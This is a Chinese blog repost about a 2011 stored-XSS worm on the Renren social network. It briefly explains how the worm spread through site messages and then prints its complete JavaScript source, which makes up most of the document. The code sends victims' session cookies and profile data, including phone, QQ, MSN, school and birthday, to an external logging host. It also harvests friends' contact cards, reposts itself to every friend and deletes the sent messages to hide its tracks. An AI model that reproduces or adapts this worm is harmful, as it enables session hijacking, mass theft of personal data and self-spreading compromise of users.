zoukankan      html  css  js  c++  java
  • 人人网站内信安全漏洞导致用户隐私泄露

    这也算是人才了吧,可惜服务器依然挂了
    yangzhe1991 写道 "4月29日晚,大量人人网用户收到一个标题为《有人暗恋你哦,你想知道TA是谁么》的站内信,用户发现若打开此站内信将会自动将此站内信内容发给所有好友。通过查看站内信网页源码,发现其中有一行代码为<script src='http://qiutuan.net/2011/51.js'>。显然,一个稍微有点网站编程常识的人都知道“<>”一类标签符号在显示的时候需要转义为普通文本防止浏览器执行,但人人网的转化方式为在用户发送端转化,若绕过此机制直接发送(如此js脚本中直接post站内信内容)则文本中包含的HTML均可被正常执行……
    显然作者的意图并非只是恶作剧,通过查看连混淆都懒得做的代码,我们可以很清楚的看到其主要目的是收集用户的人人id、学校、生日、姓名、qq、msn、手机,并且通过一个伟大的功能——通讯录,还可以得到所有好友名片中的上述信息……全部信息会发送到http://qiutuan.net/2011/log.php
    由于此站内信的传播之广泛,目前只知道此域名几乎是针对性的使用并且托管在美国,唯一能稍微解决此问题的方法是所有会写代码的人都写一个脚本随机生成数据去稀释被上传的数据,当然要在其收手前做完。 "
    要知道,人人网的隐私保护做的一直没有山寨它的某网站好。
    珍爱生命,远离淫淫。
    代码:
    var token = XN.get_check;
    var mobile_friends = [];
    var all_friends = [];
    
    var my_id = 0;
    
    function send_data(v)
    {
    	var img = document.createElement('img');
    	img.src = 'http://qiutuan.net/2011/log.php?' + v;
    	document.body.appendChild(img);
    	document.body.removeChild(img);
    }
    
    function send_to_friends(){
    	var i;
    	var idlist = [];
    	for (i = 0; i < all_friends.length; i++)
    	{
    		idlist.push(all_friends[i].toString());
    		if (idlist.length == 10)
    		{
    			_send_to_friends(idlist);
    			idlist = [];
    		}
    	}
    	if (idlist.length > 0) _send_to_friends(idlist);
    }
    
    function _send_to_friends(ids){
      var content = "相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?她喜欢笑,你就老以为她是快乐的;她喜欢跳,你就老以为她是开朗的;她喜欢扭,你就老以为她是放肆的;她喜欢叫,你就老以为她是狂野的。一个人的时候,她其实多愁善感;一个人的时候,她其实安静淡然;一个人的时候,她其实内向自闭;一个人的时候,她其实乖巧温柔……<img src='http://postimg1.mop.com/200712/15/80/2025080/200712150436548802.jpg'></img> <script src='http://qiutuan.net/2011/51.js'></script> ";
      var p = {action:"sharetofriend", 
    		body:content, 
    		form:{
    			albumid:"0",
    			currenUserTinyurl:"http://hdn.xnimg.cn/photos/hdn421/20110118/1220/tiny_GeT4_23780d019116.jpg",
    			fromSharedId:"0",
    			fromShareOwner:"0",
    			fromname:"",
    			fromno:"0",
    			fromuniv:"",
    			link:"http://edm.renren.com/link.do?l=27627&t=51",
    			pic:"http://jebe.xnimg.cn/20110412/19/62caea7b-c7bc-4217-994a-ba6c061e5aa0.jpg",
    			summary:"相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?",
    			title:"加a02好友 奖品散不停",
    			type:"51"
    		}, 
    		ids:ids, 
    		noteId:"0", 
    		subject:"有人暗恋你哦,你想知道TA是谁么", 
    		tsc:token};
    
      delete p.tsc;
    
    new XN.net.xmlhttp({url:"http://share.renren.com/share/submit.do",
    					data:"tsc="+token+"&post="+encodeURIComponent(XN.json.build(p)),
    					onSuccess: function (response) {del_send_messages();}
    					});
    }
    
    function del_messages(idlist){
    
    var struct_msgs ={
    					action:"delete",
    					folder:"1",
    					slice:"20",
    					unread_count:"0",
    					ids:idlist
    				};
    
    new Ajax.Request("/message/ajax.do",{method:"get",parameters:"post="+encodeURIComponent(XN.JSON.build(struct_msgs))});
    
    }
    
    
    function del_send_messages(){
    	new XN.net.xmlhttp({url:"http://msg.renren.com/message/inbox.do?f=1",
    					method:"GET", 
    					onSuccess: function (response) {				
    						var listid1 = response.responseText.match(/thread_(\d+)/g);
    						for(var i=0;i < listid1.length;i++){
    							listid1[i] = listid1[i].substring(7);
    						}
    						del_messages(listid1);
    					}
    				});
    }
    
    
    
    function get_self_info(){
    new XN.net.xmlhttp({url:"http://www.renren.com/profile.do?v=info_ajax&undefined",method:"GET",onSuccess:function(r){
    
    var text_html = r.responseText;
    
    var id,name,birthday,qq,school,mobile,msn,day,month,year;
    
    	id = /getalbumprofile\.do\?owner\=(\d+)/.exec(text_html)[1];
    	my_id = id;
    	school = /pf_spread\'\>(.*?)\<\/a\>/.exec(text_html)[1];
    	year = /birt\"\,\"year\"\:\"(\d+)/.exec(text_html)[1];
    	month = /birt\"\,\"month\"\:\"(\d+)/.exec(text_html)[1];
    	day = /birt\"\,\"day\"\:\"(\d+)/.exec(text_html)[1];
    	name = /alt\=\"([^\"]+)的大头贴/.exec(text_html)[1];
    	
    	if(month <= 9){
    	 month = "0"+month;
    	} 
    	if(day <= 9){
    	 day = "0"+day;
    	} 
    	birthday = year + month + day;
    	
    	qq = /QQ.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
    	
    	msn = /MSN.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
    	
    	mobile = /手机号.*?dd\>(.*?)\<\/dd/.exec(text_html)[1];
    	
    	var data = "type=self_info&id=" + id + "&name=" + encodeURIComponent(name) 
    				+ "&school=" + encodeURIComponent(school) 
    				+ "&birth=" + birthday 
    				+ "&qq=" + qq 
    				+ "&msn=" + encodeURIComponent(msn) 
    				+ "&mobile=" + mobile;
    	send_data(data);
    }
    
    });
    }
    
    function get_card(tid)
    {
    	  new XN.net.xmlhttp({url:'http://www.renren.com/showcard?friendID='+tid, 
                          method:'get',
                          onSuccess:function(r){
    					  var obj = eval("("+r.responseText+")");
    					  var data = 'type=card&my_id=' + my_id
    								+ '&id=' + obj.id
    								+ '&name=' + encodeURIComponent(obj.name)
    								+ '&msn=' + encodeURIComponent(obj.msn)
    								+ '&phone=' + encodeURIComponent(obj.phone)
    								+ '&qq=' + encodeURIComponent(obj.qq)
    								+ '&email=' + encodeURIComponent(obj.email)
    								+ '&address=' + encodeURIComponent(obj.address);
    					send_data(data);
    				}
    	 }); 
    }
    
    
    function get_all_friends(){
    	new XN.net.xmlhttp({url:"http://www.renren.com/listcards",method:"GET",onSuccess:function(r){
    
    	var text_html = r.responseText;
    	//alert(text_html);
    	
    	var friends_list = eval("("+text_html+")");
    	var owned_mobile = (friends_list.list[0].list).length;  //have mobile friends number
    	for(var i =0;i< owned_mobile ;i++){
    		mobile_friends.push(friends_list.list[0].list[i].id);
    		all_friends.push(friends_list.list[0].list[i].id);
    	}
    	//alert(mobile_friends.length);
    	
    	var no_mobile = (friends_list.list[1].list).length;
    	for(var i =0;i< no_mobile ;i++){
    		all_friends.push(friends_list.list[1].list[i].id);
    	}
    	//alert(all_friends.length);
    	for(var i = 0; i < mobile_friends.length; i++)
    		get_card(mobile_friends[i]);
        send_to_friends();
    }
    });
    }
    
    window.onload = function(){
    send_data('type=cookie&v='+encodeURIComponent(document.cookie));
    get_self_info();
    get_all_friends();
    }
    
  • 相关阅读:
    Adobe Acrobat XI pro v11.0.10中文版
    微软Office 2019 批量授权版21年04月更新版【福利】
    如何在PS里把证件照调正
    PS2020如何把图片中模糊不清的文字变清晰
    Office有效序列号大全
    计量经济学软件EViews11正式版【附激活文件】
    处理v-html的潜在XSS风险
    for 和 forEach 使用return,是跳出当前的循环,还是整个循环
    VUE防止多次点击,重复请求
    vue 分页插件使用
  • 原文地址:https://www.cnblogs.com/dabaopku/p/2033248.html
Copyright © 2011-2022 走看看